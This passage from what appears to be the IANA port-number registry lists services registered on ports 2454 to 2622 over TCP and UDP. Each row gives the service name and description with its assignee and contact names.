indx-dds           2454        tcp    IndX-DDS                     [Paul_Carmichael]                                     [Paul_Carmichael]
indx-dds           2454        udp    IndX-DDS                     [Paul_Carmichael]                                     [Paul_Carmichael]
wago-io-system     2455        tcp    WAGO-IO-SYSTEM               [Jorg_Hoffmann]                                       [Jorg_Hoffmann]
wago-io-system     2455        udp    WAGO-IO-SYSTEM               [Jorg_Hoffmann]                                       [Jorg_Hoffmann]
altav-remmgt       2456        tcp    altav-remmgt                 [Gary_M_Allen]                                        [Gary_M_Allen]
altav-remmgt       2456        udp    altav-remmgt                 [Gary_M_Allen]                                        [Gary_M_Allen]
rapido-ip          2457        tcp    Rapido_IP                    [Man_Shuen_Cheung]                                    [Man_Shuen_Cheung]
rapido-ip          2457        udp    Rapido_IP                    [Man_Shuen_Cheung]                                    [Man_Shuen_Cheung]
griffin            2458        tcp    griffin                      [Tom_Taylor]                                          [Tom_Taylor]
griffin            2458        udp    griffin                      [Tom_Taylor]                                          [Tom_Taylor]
community          2459        tcp    Community                    [David_Schwartz]                                      [David_Schwartz]
community          2459        udp    Community                    [David_Schwartz]                                      [David_Schwartz]
ms-theater         2460        tcp    ms-theater                   [Anton_Kucer]                                         [Anton_Kucer]
ms-theater         2460        udp    ms-theater                   [Anton_Kucer]                                         [Anton_Kucer]
qadmifoper         2461        tcp    qadmifoper
qadmifoper         2461        udp    qadmifoper
qadmifevent        2462        tcp    qadmifevent                  [Pekka_Takaranta]                                     [Pekka_Takaranta]
qadmifevent        2462        udp    qadmifevent                  [Pekka_Takaranta]                                     [Pekka_Takaranta]
lsi-raid-mgmt      2463        tcp    LSI RAID Management          [NetApp]                                              [MSW_architecture_team]                                                2014-07-18
lsi-raid-mgmt      2463        udp    LSI RAID Management          [NetApp]                                              [MSW_architecture_team]                                                2014-07-18
direcpc-si         2464        tcp    DirecPC SI                   [Doug_Dillon]                                         [Doug_Dillon]
direcpc-si         2464        udp    DirecPC SI                   [Doug_Dillon]                                         [Doug_Dillon]
lbm                2465        tcp    Load Balance Management
lbm                2465        udp    Load Balance Management
lbf                2466        tcp    Load Balance Forwarding      [Kazuhiro_Koide]                                      [Kazuhiro_Koide]
lbf                2466        udp    Load Balance Forwarding      [Kazuhiro_Koide]                                      [Kazuhiro_Koide]
high-criteria      2467        tcp    High Criteria                [Konstantin_Iavid]                                    [Konstantin_Iavid]
high-criteria      2467        udp    High Criteria                [Konstantin_Iavid]                                    [Konstantin_Iavid]
qip-msgd           2468        tcp    qip_msgd                     [Mike_Morgan]                                         [Mike_Morgan]
qip-msgd           2468        udp    qip_msgd                     [Mike_Morgan]                                         [Mike_Morgan]
mti-tcs-comm       2469        tcp    MTI-TCS-COMM                 [Mario_Bonin]                                         [Mario_Bonin]
mti-tcs-comm       2469        udp    MTI-TCS-COMM                 [Mario_Bonin]                                         [Mario_Bonin]
taskman-port       2470        tcp    taskman port                 [Boris_Panteleev]                                     [Boris_Panteleev]
taskman-port       2470        udp    taskman port                 [Boris_Panteleev]                                     [Boris_Panteleev]
seaodbc            2471        tcp    SeaODBC                      [Adrian_Hornby]                                       [Adrian_Hornby]
seaodbc            2471        udp    SeaODBC                      [Adrian_Hornby]                                       [Adrian_Hornby]
c3                 2472        tcp    C3                           [Eckhard_Grieger]                                     [Eckhard_Grieger]
c3                 2472        udp    C3                           [Eckhard_Grieger]                                     [Eckhard_Grieger]
aker-cdp           2473        tcp    Aker-cdp                     [Rodrigo_Ormonde]                                     [Rodrigo_Ormonde]
aker-cdp           2473        udp    Aker-cdp                     [Rodrigo_Ormonde]                                     [Rodrigo_Ormonde]
vitalanalysis      2474        tcp    Vital Analysis               [Srinivas_Reddy]                                      [Srinivas_Reddy]
vitalanalysis      2474        udp    Vital Analysis               [Srinivas_Reddy]                                      [Srinivas_Reddy]
ace-server         2475        tcp    ACE Server
ace-server         2475        udp    ACE Server
ace-svr-prop       2476        tcp    ACE Server Propagation
ace-svr-prop       2476        udp    ACE Server Propagation
ssm-cvs            2477        tcp    SecurSight Certificate
                                      Valifation Service
ssm-cvs            2477        udp    SecurSight Certificate
                                      Valifation Service
ssm-cssps          2478        tcp    SecurSight Authentication
                                      Server (SSL)
ssm-cssps          2478        udp    SecurSight Authentication
                                      Server (SSL)
ssm-els            2479        tcp    SecurSight Event Logging     [John_Linn]                                           [John_Linn]
                                      Server (SSL)
ssm-els            2479        udp    SecurSight Event Logging     [John_Linn]                                           [John_Linn]
                                      Server (SSL)
powerexchange      2480        tcp    Informatica PowerExchange    [Dale_Norman]                                         [Dale_Norman]
                                      Listener
powerexchange      2480        udp    Informatica PowerExchange    [Dale_Norman]                                         [Dale_Norman]
                                      Listener
giop               2481        tcp    Oracle GIOP
giop               2481        udp    Oracle GIOP
giop-ssl           2482        tcp    Oracle GIOP SSL
giop-ssl           2482        udp    Oracle GIOP SSL
ttc                2483        tcp    Oracle TTC
ttc                2483        udp    Oracle TTC
ttc-ssl            2484        tcp    Oracle TTC SSL               [Chandar_Venkataraman]                                [Chandar_Venkataraman]
ttc-ssl            2484        udp    Oracle TTC SSL               [Chandar_Venkataraman]                                [Chandar_Venkataraman]
netobjects1        2485        tcp    Net Objects1
netobjects1        2485        udp    Net Objects1
netobjects2        2486        tcp    Net Objects2                 [Francois_Granade]                                    [Francois_Granade]
netobjects2        2486        udp    Net Objects2                 [Francois_Granade]                                    [Francois_Granade]
pns                2487        tcp    Policy Notice Service        [Akiyoshi_Ochi]                                       [Akiyoshi_Ochi]
pns                2487        udp    Policy Notice Service        [Akiyoshi_Ochi]                                       [Akiyoshi_Ochi]
moy-corp           2488        tcp    Moy Corporation              [Gang_Gong_Moy]                                       [Gang_Gong_Moy]
moy-corp           2488        udp    Moy Corporation              [Gang_Gong_Moy]                                       [Gang_Gong_Moy]
tsilb              2489        tcp    TSILB                        [James_Irwin]                                         [James_Irwin]
tsilb              2489        udp    TSILB                        [James_Irwin]                                         [James_Irwin]
qip-qdhcp          2490        tcp    qip_qdhcp                    [Mike_Morgan]                                         [Mike_Morgan]
qip-qdhcp          2490        udp    qip_qdhcp                    [Mike_Morgan]                                         [Mike_Morgan]
conclave-cpp       2491        tcp    Conclave CPP                 [Larry_Lipstone]                                      [Larry_Lipstone]
conclave-cpp       2491        udp    Conclave CPP                 [Larry_Lipstone]                                      [Larry_Lipstone]
groove             2492        tcp    GROOVE                       [Ray_Ozzie]                                           [Ray_Ozzie]
groove             2492        udp    GROOVE                       [Ray_Ozzie]                                           [Ray_Ozzie]
talarian-mqs       2493        tcp    Talarian MQS                 [Jim_Stabile]                                         [Jim_Stabile]
talarian-mqs       2493        udp    Talarian MQS                 [Jim_Stabile]                                         [Jim_Stabile]
bmc-ar             2494        tcp    BMC AR                       [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-ar             2494        udp    BMC AR                       [Portnoy_Boxman]                                      [Portnoy_Boxman]
fast-rem-serv      2495        tcp    Fast Remote Services         [Scott_St_Clair]                                      [Scott_St_Clair]
fast-rem-serv      2495        udp    Fast Remote Services         [Scott_St_Clair]                                      [Scott_St_Clair]
dirgis             2496        tcp    DIRGIS                       [Deutschland_Informat]                                [Deutschland_Informat]
dirgis             2496        udp    DIRGIS                       [Deutschland_Informat]                                [Deutschland_Informat]
quaddb             2497        tcp    Quad DB                      [Jeff_Rosenthal]                                      [Jeff_Rosenthal]
quaddb             2497        udp    Quad DB                      [Jeff_Rosenthal]                                      [Jeff_Rosenthal]
odn-castraq        2498        tcp    ODN-CasTraq                  [Richard_Hodges_2]                                    [Richard_Hodges_2]
odn-castraq        2498        udp    ODN-CasTraq                  [Richard_Hodges_2]                                    [Richard_Hodges_2]
unicontrol         2499        tcp    UniControl                   [Ing_Markus_Huemer]                                   [Ing_Markus_Huemer]
unicontrol         2499        udp    UniControl                   [Ing_Markus_Huemer]                                   [Ing_Markus_Huemer]
rtsserv            2500        tcp    Resource Tracking system
                                      server
rtsserv            2500        udp    Resource Tracking system
                                      server
rtsclient          2501        tcp    Resource Tracking system     [Aubrey_Turner]                                       [Aubrey_Turner]
                                      client
rtsclient          2501        udp    Resource Tracking system     [Aubrey_Turner]                                       [Aubrey_Turner]
                                      client
kentrox-prot       2502        tcp    Kentrox Protocol             [Anil_Lakhwara]                                       [Anil_Lakhwara]
kentrox-prot       2502        udp    Kentrox Protocol             [Anil_Lakhwara]                                       [Anil_Lakhwara]
nms-dpnss          2503        tcp    NMS-DPNSS                    [Jean_Christophe_Desi]                                [Jean_Christophe_Desi]
nms-dpnss          2503        udp    NMS-DPNSS                    [Jean_Christophe_Desi]                                [Jean_Christophe_Desi]
wlbs               2504        tcp    WLBS                         [William_Bain]                                        [William_Bain]
wlbs               2504        udp    WLBS                         [William_Bain]                                        [William_Bain]
ppcontrol          2505        tcp    PowerPlay Control            [Max_Magliaro]                                        [Max_Magliaro]                                            2004-11
ppcontrol          2505        udp    PowerPlay Control            [Max_Magliaro]                                        [Max_Magliaro]                                            2004-11
jbroker            2506        tcp    jbroker                      [Rohit_Garg_2]                                        [Rohit_Garg_2]
jbroker            2506        udp    jbroker                      [Rohit_Garg_2]                                        [Rohit_Garg_2]
spock              2507        tcp    spock                        [Jon_A_Christopher]                                   [Jon_A_Christopher]
spock              2507        udp    spock                        [Jon_A_Christopher]                                   [Jon_A_Christopher]
jdatastore         2508        tcp    JDataStore                   [Tod_Landis]                                          [Tod_Landis]
jdatastore         2508        udp    JDataStore                   [Tod_Landis]                                          [Tod_Landis]
fjmpss             2509        tcp    fjmpss                       [Makoto_Watanabe]                                     [Makoto_Watanabe]
fjmpss             2509        udp    fjmpss                       [Makoto_Watanabe]                                     [Makoto_Watanabe]
fjappmgrbulk       2510        tcp    fjappmgrbulk                 [Hiroyuki_Kawabuchi]                                  [Hiroyuki_Kawabuchi]
fjappmgrbulk       2510        udp    fjappmgrbulk                 [Hiroyuki_Kawabuchi]                                  [Hiroyuki_Kawabuchi]
metastorm          2511        tcp    Metastorm                    [Eric_Isom]                                           [Eric_Isom]
metastorm          2511        udp    Metastorm                    [Eric_Isom]                                           [Eric_Isom]
citrixima          2512        tcp    Citrix IMA
citrixima          2512        udp    Citrix IMA
citrixadmin        2513        tcp    Citrix ADMIN                 [Myk_Willis]                                          [Myk_Willis]
citrixadmin        2513        udp    Citrix ADMIN                 [Myk_Willis]                                          [Myk_Willis]
facsys-ntp         2514        tcp    Facsys NTP
facsys-ntp         2514        udp    Facsys NTP
facsys-router      2515        tcp    Facsys Router                [Jeff_Hoffman]                                        [Jeff_Hoffman]
facsys-router      2515        udp    Facsys Router                [Jeff_Hoffman]                                        [Jeff_Hoffman]
maincontrol        2516        tcp    Main Control                 [Nathan_Sadia]                                        [Nathan_Sadia]
maincontrol        2516        udp    Main Control                 [Nathan_Sadia]                                        [Nathan_Sadia]
call-sig-trans     2517        tcp    H.323 Annex E Call Control   [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Signalling Transport
call-sig-trans     2517        udp    H.323 Annex E Call Control   [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Signalling Transport
willy              2518        tcp    Willy                        [Carl_Johan_Wik]                                      [Carl_Johan_Wik]
willy              2518        udp    Willy                        [Carl_Johan_Wik]                                      [Carl_Johan_Wik]
globmsgsvc         2519        tcp    globmsgsvc                   [David_Wiltz]                                         [David_Wiltz]
globmsgsvc         2519        udp    globmsgsvc                   [David_Wiltz]                                         [David_Wiltz]
pvsw               2520        tcp    Pervasive Listener           [Chuck_Talk]                                          [Chuck_Talk]
pvsw               2520        udp    Pervasive Listener           [Chuck_Talk]                                          [Chuck_Talk]
adaptecmgr         2521        tcp    Adaptec Manager              [Mark_Parenti]                                        [Mark_Parenti]
adaptecmgr         2521        udp    Adaptec Manager              [Mark_Parenti]                                        [Mark_Parenti]
windb              2522        tcp    WinDb                        [Larry_Traylor]                                       [Larry_Traylor]
windb              2522        udp    WinDb                        [Larry_Traylor]                                       [Larry_Traylor]
qke-llc-v3         2523        tcp    Qke LLC V.3                  [Joerg_Niehoff]                                       [Joerg_Niehoff]
qke-llc-v3         2523        udp    Qke LLC V.3                  [Joerg_Niehoff]                                       [Joerg_Niehoff]
optiwave-lm        2524        tcp    Optiwave License Management  [Slawomir_Krzesinski]                                 [Slawomir_Krzesinski]
optiwave-lm        2524        udp    Optiwave License Management  [Slawomir_Krzesinski]                                 [Slawomir_Krzesinski]
ms-v-worlds        2525        tcp    MS V-Worlds                  [Pete_Wong]                                           [Pete_Wong]
ms-v-worlds        2525        udp    MS V-Worlds                  [Pete_Wong]                                           [Pete_Wong]
ema-sent-lm        2526        tcp    EMA License Manager          [Thaddeus_Perala]                                     [Thaddeus_Perala]
ema-sent-lm        2526        udp    EMA License Manager          [Thaddeus_Perala]                                     [Thaddeus_Perala]
iqserver           2527        tcp    IQ Server                    [Nick_Straguzzi]                                      [Nick_Straguzzi]
iqserver           2527        udp    IQ Server                    [Nick_Straguzzi]                                      [Nick_Straguzzi]
                                      NCR CCL

ncr-ccl            2528        tcp    IANA assigned this           [Amitava_Dutta]                                       [Amitava_Dutta]
                                      well-formed service name as
                                      a replacement for "ncr_ccl".
                                                                                                                                                                                                                                                                                  This entry is an alias to "ncr-ccl". This entry is now
ncr_ccl            2528        tcp    NCR CCL                      [Amitava_Dutta]                                       [Amitava_Dutta]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      NCR CCL

ncr-ccl            2528        udp    IANA assigned this           [Amitava_Dutta]                                       [Amitava_Dutta]
                                      well-formed service name as
                                      a replacement for "ncr_ccl".
                                                                                                                                                                                                                                                                                  This entry is an alias to "ncr-ccl". This entry is now
ncr_ccl            2528        udp    NCR CCL                      [Amitava_Dutta]                                       [Amitava_Dutta]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
utsftp             2529        tcp    UTS FTP                      [David_Moore]                                         [David_Moore]
utsftp             2529        udp    UTS FTP                      [David_Moore]                                         [David_Moore]
vrcommerce         2530        tcp    VR Commerce                  [Yosi_Mass]                                           [Yosi_Mass]
vrcommerce         2530        udp    VR Commerce                  [Yosi_Mass]                                           [Yosi_Mass]
ito-e-gui          2531        tcp    ITO-E GUI                    [Michael_Haeuptle]                                    [Michael_Haeuptle]
ito-e-gui          2531        udp    ITO-E GUI                    [Michael_Haeuptle]                                    [Michael_Haeuptle]
ovtopmd            2532        tcp    OVTOPMD                      [Eric_Pulsipher]                                      [Eric_Pulsipher]
ovtopmd            2532        udp    OVTOPMD                      [Eric_Pulsipher]                                      [Eric_Pulsipher]
snifferserver      2533        tcp    SnifferServer                [Amy_Weaver_3]                                        [Amy_Weaver_3]
snifferserver      2533        udp    SnifferServer                [Amy_Weaver_3]                                        [Amy_Weaver_3]
combox-web-acc     2534        tcp    Combox Web Access            [Yochai_Cohen]                                        [Yochai_Cohen]
combox-web-acc     2534        udp    Combox Web Access            [Yochai_Cohen]                                        [Yochai_Cohen]
madcap             2535        tcp    MADCAP                       [Stephen_Hanna_2]                                     [Stephen_Hanna_2]
madcap             2535        udp    MADCAP                       [Stephen_Hanna_2]                                     [Stephen_Hanna_2]
btpp2audctr1       2536        tcp    btpp2audctr1                 [Ian_Daniels]                                         [Ian_Daniels]
btpp2audctr1       2536        udp    btpp2audctr1                 [Ian_Daniels]                                         [Ian_Daniels]
upgrade            2537        tcp    Upgrade Protocol             [Breck_Auten]                                         [Breck_Auten]
upgrade            2537        udp    Upgrade Protocol             [Breck_Auten]                                         [Breck_Auten]
vnwk-prapi         2538        tcp    vnwk-prapi                   [John_Hasselkus]                                      [John_Hasselkus]
vnwk-prapi         2538        udp    vnwk-prapi                   [John_Hasselkus]                                      [John_Hasselkus]
vsiadmin           2539        tcp    VSI Admin                    [Rob_Juergens]                                        [Rob_Juergens]
vsiadmin           2539        udp    VSI Admin                    [Rob_Juergens]                                        [Rob_Juergens]
lonworks           2540        tcp    LonWorks
lonworks           2540        udp    LonWorks
lonworks2          2541        tcp    LonWorks2                    [Gary_Bartlett]                                       [Gary_Bartlett]
lonworks2          2541        udp    LonWorks2                    [Gary_Bartlett]                                       [Gary_Bartlett]
udrawgraph         2542        tcp    uDraw(Graph)                 [Bremen]                                              [Bremen]
udrawgraph         2542        udp    uDraw(Graph)                 [Bremen]                                              [Bremen]
reftek             2543        tcp    REFTEK                       [Phil_Davidson]                                       [Phil_Davidson]
reftek             2543        udp    REFTEK                       [Phil_Davidson]                                       [Phil_Davidson]
novell-zen         2544        tcp    Management Daemon Refresh    [Ty_Ellis]                                            [Ty_Ellis]
novell-zen         2544        udp    Management Daemon Refresh    [Ty_Ellis]                                            [Ty_Ellis]
sis-emt            2545        tcp    sis-emt                      [Bill_Crawford]                                       [Bill_Crawford]
sis-emt            2545        udp    sis-emt                      [Bill_Crawford]                                       [Bill_Crawford]
vytalvaultbrtp     2546        tcp    vytalvaultbrtp
vytalvaultbrtp     2546        udp    vytalvaultbrtp
vytalvaultvsmp     2547        tcp    vytalvaultvsmp
vytalvaultvsmp     2547        udp    vytalvaultvsmp
vytalvaultpipe     2548        tcp    vytalvaultpipe               [Tim_Boldt]                                           [Tim_Boldt]
vytalvaultpipe     2548        udp    vytalvaultpipe               [Tim_Boldt]                                           [Tim_Boldt]
ipass              2549        tcp    IPASS                        [Michael_Fischer]                                     [Michael_Fischer]
ipass              2549        udp    IPASS                        [Michael_Fischer]                                     [Michael_Fischer]
ads                2550        tcp    ADS                          [Michael_O_Connor]                                    [Michael_O_Connor]
ads                2550        udp    ADS                          [Michael_O_Connor]                                    [Michael_O_Connor]
isg-uda-server     2551        tcp    ISG UDA Server               [Dror_Harari]                                         [Dror_Harari]
isg-uda-server     2551        udp    ISG UDA Server               [Dror_Harari]                                         [Dror_Harari]
call-logging       2552        tcp    Call Logging                 [Dean_Webb]                                           [Dean_Webb]
call-logging       2552        udp    Call Logging                 [Dean_Webb]                                           [Dean_Webb]
efidiningport      2553        tcp    efidiningport                [Lynn_Carter]                                         [Lynn_Carter]
efidiningport      2553        udp    efidiningport                [Lynn_Carter]                                         [Lynn_Carter]
vcnet-link-v10     2554        tcp    VCnet-Link v10               [Csaba_Mate]                                          [Csaba_Mate]
vcnet-link-v10     2554        udp    VCnet-Link v10               [Csaba_Mate]                                          [Csaba_Mate]
compaq-wcp         2555        tcp    Compaq WCP                   [Ferruccio_Barletta]                                  [Ferruccio_Barletta]
compaq-wcp         2555        udp    Compaq WCP                   [Ferruccio_Barletta]                                  [Ferruccio_Barletta]
nicetec-nmsvc      2556        tcp    nicetec-nmsvc
nicetec-nmsvc      2556        udp    nicetec-nmsvc
nicetec-mgmt       2557        tcp    nicetec-mgmt                 [Joerg_Paulus]                                        [Joerg_Paulus]
nicetec-mgmt       2557        udp    nicetec-mgmt                 [Joerg_Paulus]                                        [Joerg_Paulus]
pclemultimedia     2558        tcp    PCLE Multi Media             [Jacob_Gsoedl]                                        [Jacob_Gsoedl]
pclemultimedia     2558        udp    PCLE Multi Media             [Jacob_Gsoedl]                                        [Jacob_Gsoedl]
lstp               2559        tcp    LSTP                         [Waiki_Wright]                                        [Waiki_Wright]
lstp               2559        udp    LSTP                         [Waiki_Wright]                                        [Waiki_Wright]
labrat             2560        tcp    labrat                       [John_Harvey]                                         [John_Harvey]
labrat             2560        udp    labrat                       [John_Harvey]                                         [John_Harvey]
mosaixcc           2561        tcp    MosaixCC                     [Steven_Frare]                                        [Steven_Frare]
mosaixcc           2561        udp    MosaixCC                     [Steven_Frare]                                        [Steven_Frare]
delibo             2562        tcp    Delibo                       [NovaWiz_LTD]                                         [NovaWiz_LTD]
delibo             2562        udp    Delibo                       [NovaWiz_LTD]                                         [NovaWiz_LTD]
cti-redwood        2563        tcp    CTI Redwood                  [Songwon_Chi]                                         [Songwon_Chi]
cti-redwood        2563        udp    CTI Redwood                  [Songwon_Chi]                                         [Songwon_Chi]
hp-3000-telnet     2564        tcp    HP 3000 NS/VT block mode
                                      telnet
hp-3000-telnet     2564        udp    HP 3000 NS/VT block mode
                                      telnet
coord-svr          2565        tcp    Coordinator Server           [Richard_Steiger]                                     [Richard_Steiger]
coord-svr          2565        udp    Coordinator Server           [Richard_Steiger]                                     [Richard_Steiger]
pcs-pcw            2566        tcp    pcs-pcw                      [W_Jordan_Fitzhugh]                                   [W_Jordan_Fitzhugh]
pcs-pcw            2566        udp    pcs-pcw                      [W_Jordan_Fitzhugh]                                   [W_Jordan_Fitzhugh]
clp                2567        tcp    Cisco Line Protocol          [Susan_Hinrichs]                                      [Susan_Hinrichs]
clp                2567        udp    Cisco Line Protocol          [Susan_Hinrichs]                                      [Susan_Hinrichs]
spamtrap           2568        tcp    SPAM TRAP                    [Charles_Bennett]                                     [Charles_Bennett]                                         2008-08-29
spamtrap           2568        udp    SPAM TRAP                    [Charles_Bennett]                                     [Charles_Bennett]                                         2008-08-29
sonuscallsig       2569        tcp    Sonus Call Signal            [Mark_Garti]                                          [Mark_Garti]
sonuscallsig       2569        udp    Sonus Call Signal            [Mark_Garti]                                          [Mark_Garti]
hs-port            2570        tcp    HS Port                      [Uri_Doron]                                           [Uri_Doron]
hs-port            2570        udp    HS Port                      [Uri_Doron]                                           [Uri_Doron]
cecsvc             2571        tcp    CECSVC                       [Roger_Pao]                                           [Roger_Pao]
cecsvc             2571        udp    CECSVC                       [Roger_Pao]                                           [Roger_Pao]
ibp                2572        tcp    IBP                          [Jonathan_Downes]                                     [Jonathan_Downes]
ibp                2572        udp    IBP                          [Jonathan_Downes]                                     [Jonathan_Downes]
trustestablish     2573        tcp    Trust Establish              [Yosi_Mass]                                           [Yosi_Mass]
trustestablish     2573        udp    Trust Establish              [Yosi_Mass]                                           [Yosi_Mass]
blockade-bpsp      2574        tcp    Blockade BPSP                [Blockade]                                            [Blockade]
blockade-bpsp      2574        udp    Blockade BPSP                [Blockade]                                            [Blockade]
hl7                2575        tcp    HL7                          [Tim_Jacobs]                                          [Tim_Jacobs]
hl7                2575        udp    HL7                          [Tim_Jacobs]                                          [Tim_Jacobs]
tclprodebugger     2576        tcp    TCL Pro Debugger
tclprodebugger     2576        udp    TCL Pro Debugger
scipticslsrvr      2577        tcp    Scriptics Lsrvr              [Brent_Welch]                                         [Brent_Welch]
scipticslsrvr      2577        udp    Scriptics Lsrvr              [Brent_Welch]                                         [Brent_Welch]
rvs-isdn-dcp       2578        tcp    RVS ISDN DCP                 [Michael_Zirpel]                                      [Michael_Zirpel]
rvs-isdn-dcp       2578        udp    RVS ISDN DCP                 [Michael_Zirpel]                                      [Michael_Zirpel]
mpfoncl            2579        tcp    mpfoncl                      [Itaru_Kimura]                                        [Itaru_Kimura]
mpfoncl            2579        udp    mpfoncl                      [Itaru_Kimura]                                        [Itaru_Kimura]
tributary          2580        tcp    Tributary                    [Louis_Lu]                                            [Louis_Lu]
tributary          2580        udp    Tributary                    [Louis_Lu]                                            [Louis_Lu]
argis-te           2581        tcp    ARGIS TE
argis-te           2581        udp    ARGIS TE
argis-ds           2582        tcp    ARGIS DS                     [John_Legh_Page]                                      [John_Legh_Page]
argis-ds           2582        udp    ARGIS DS                     [John_Legh_Page]                                      [John_Legh_Page]
mon                2583        tcp    MON                          [Jim_Trocki]                                          [Jim_Trocki]
mon                2583        udp    MON                          [Jim_Trocki]                                          [Jim_Trocki]
cyaserv            2584        tcp    cyaserv                      [Morgan_Jones]                                        [Morgan_Jones]
cyaserv            2584        udp    cyaserv                      [Morgan_Jones]                                        [Morgan_Jones]
netx-server        2585        tcp    NETX Server
netx-server        2585        udp    NETX Server
netx-agent         2586        tcp    NETX Agent                   [Brett_Dolecheck]                                     [Brett_Dolecheck]
netx-agent         2586        udp    NETX Agent                   [Brett_Dolecheck]                                     [Brett_Dolecheck]
masc               2587        tcp    MASC                         [Pavlin_Ivanov_Radosl]                                [Pavlin_Ivanov_Radosl]
masc               2587        udp    MASC                         [Pavlin_Ivanov_Radosl]                                [Pavlin_Ivanov_Radosl]
privilege          2588        tcp    Privilege                    [Gil_Hecht]                                           [Gil_Hecht]
privilege          2588        udp    Privilege                    [Gil_Hecht]                                           [Gil_Hecht]
quartus-tcl        2589        tcp    quartus tcl                  [Subroto_Datta]                                       [Subroto_Datta]
quartus-tcl        2589        udp    quartus tcl                  [Subroto_Datta]                                       [Subroto_Datta]
idotdist           2590        tcp    idotdist                     [Jason_Hunter]                                        [Jason_Hunter]
idotdist           2590        udp    idotdist                     [Jason_Hunter]                                        [Jason_Hunter]
maytagshuffle      2591        tcp    Maytag Shuffle               [Ken_Ksiazek]                                         [Ken_Ksiazek]
maytagshuffle      2591        udp    Maytag Shuffle               [Ken_Ksiazek]                                         [Ken_Ksiazek]
netrek             2592        tcp    netrek                       [Al_Guetzlaff]                                        [Al_Guetzlaff]
netrek             2592        udp    netrek                       [Al_Guetzlaff]                                        [Al_Guetzlaff]
mns-mail           2593        tcp    MNS Mail Notice Service      [Rumiko_Kikuta]                                       [Rumiko_Kikuta]
mns-mail           2593        udp    MNS Mail Notice Service      [Rumiko_Kikuta]                                       [Rumiko_Kikuta]
dts                2594        tcp    Data Base Server             [Andreas_Roene]                                       [Andreas_Roene]
dts                2594        udp    Data Base Server             [Andreas_Roene]                                       [Andreas_Roene]
worldfusion1       2595        tcp    World Fusion 1
worldfusion1       2595        udp    World Fusion 1
worldfusion2       2596        tcp    World Fusion 2               [World_Fusion]                                        [World_Fusion]
worldfusion2       2596        udp    World Fusion 2               [World_Fusion]                                        [World_Fusion]
homesteadglory     2597        tcp    Homestead Glory              [John_Tokash]                                         [John_Tokash]
homesteadglory     2597        udp    Homestead Glory              [John_Tokash]                                         [John_Tokash]
citriximaclient    2598        tcp    Citrix MA Client             [Myk_Willis]                                          [Myk_Willis]
citriximaclient    2598        udp    Citrix MA Client             [Myk_Willis]                                          [Myk_Willis]
snapd              2599        tcp    Snap Discovery               [Kevin_Osborn]                                        [Kevin_Osborn]
snapd              2599        udp    Snap Discovery               [Kevin_Osborn]                                        [Kevin_Osborn]
hpstgmgr           2600        tcp    HPSTGMGR                     [Kevin_Collins]                                       [Kevin_Collins]
hpstgmgr           2600        udp    HPSTGMGR                     [Kevin_Collins]                                       [Kevin_Collins]
discp-client       2601        tcp    discp client
discp-client       2601        udp    discp client
discp-server       2602        tcp    discp server                 [Peter_White]                                         [Peter_White]
discp-server       2602        udp    discp server                 [Peter_White]                                         [Peter_White]
servicemeter       2603        tcp    Service Meter                [Duncan_Hare]                                         [Duncan_Hare]
servicemeter       2603        udp    Service Meter                [Duncan_Hare]                                         [Duncan_Hare]
nsc-ccs            2604        tcp    NSC CCS
nsc-ccs            2604        udp    NSC CCS
nsc-posa           2605        tcp    NSC POSA                     [Tom_Findley]                                         [Tom_Findley]
nsc-posa           2605        udp    NSC POSA                     [Tom_Findley]                                         [Tom_Findley]
netmon             2606        tcp    Dell Netmon
netmon             2606        udp    Dell Netmon
connection         2607        tcp    Dell Connection              [Sudhir_Shetty]                                       [Sudhir_Shetty]
connection         2607        udp    Dell Connection              [Sudhir_Shetty]                                       [Sudhir_Shetty]
wag-service        2608        tcp    Wag Service                  [Gilles_Bourquard]                                    [Gilles_Bourquard]
wag-service        2608        udp    Wag Service                  [Gilles_Bourquard]                                    [Gilles_Bourquard]
system-monitor     2609        tcp    System Monitor               [Greg_Robson_Garth]                                   [Greg_Robson_Garth]
system-monitor     2609        udp    System Monitor               [Greg_Robson_Garth]                                   [Greg_Robson_Garth]
versa-tek          2610        tcp    VersaTek                     [James_Kou]                                           [James_Kou]
versa-tek          2610        udp    VersaTek                     [James_Kou]                                           [James_Kou]
lionhead           2611        tcp    LIONHEAD                     [Tim_Rance]                                           [Tim_Rance]
lionhead           2611        udp    LIONHEAD                     [Tim_Rance]                                           [Tim_Rance]
qpasa-agent        2612        tcp    Qpasa Agent                  [Craig_Ching]                                         [Craig_Ching]
qpasa-agent        2612        udp    Qpasa Agent                  [Craig_Ching]                                         [Craig_Ching]
smntubootstrap     2613        tcp    SMNTUBootstrap               [Matt_Cecile]                                         [Matt_Cecile]
smntubootstrap     2613        udp    SMNTUBootstrap               [Matt_Cecile]                                         [Matt_Cecile]
neveroffline       2614        tcp    Never Offline                [Dustin_Brand]                                        [Dustin_Brand]
neveroffline       2614        udp    Never Offline                [Dustin_Brand]                                        [Dustin_Brand]
firepower          2615        tcp    firepower                    [Jason_Volk]                                          [Jason_Volk]
firepower          2615        udp    firepower                    [Jason_Volk]                                          [Jason_Volk]
appswitch-emp      2616        tcp    appswitch-emp                [Ted_Ross]                                            [Ted_Ross]
appswitch-emp      2616        udp    appswitch-emp                [Ted_Ross]                                            [Ted_Ross]
cmadmin            2617        tcp    Clinical Context Managers    [Mark_Morwood]                                        [Mark_Morwood]
cmadmin            2617        udp    Clinical Context Managers    [Mark_Morwood]                                        [Mark_Morwood]
priority-e-com     2618        tcp    Priority E-Com               [Marcelo_Einhorn_2]                                   [Marcelo_Einhorn_2]
priority-e-com     2618        udp    Priority E-Com               [Marcelo_Einhorn_2]                                   [Marcelo_Einhorn_2]
bruce              2619        tcp    bruce                        [Alec_Muffett]                                        [Alec_Muffett]
bruce              2619        udp    bruce                        [Alec_Muffett]                                        [Alec_Muffett]
lpsrecommender     2620        tcp    LPSRecommender               [Pritham_Shetty_2]                                    [Pritham_Shetty_2]
lpsrecommender     2620        udp    LPSRecommender               [Pritham_Shetty_2]                                    [Pritham_Shetty_2]
miles-apart        2621        tcp    Miles Apart Jukebox Server   [Michael_Rathmann]                                    [Michael_Rathmann]
miles-apart        2621        udp    Miles Apart Jukebox Server   [Michael_Rathmann]                                    [Michael_Rathmann]
metricadbc         2622        tcp    MetricaDBC                   [Russ_Olivant]                                        [Russ_Olivant]
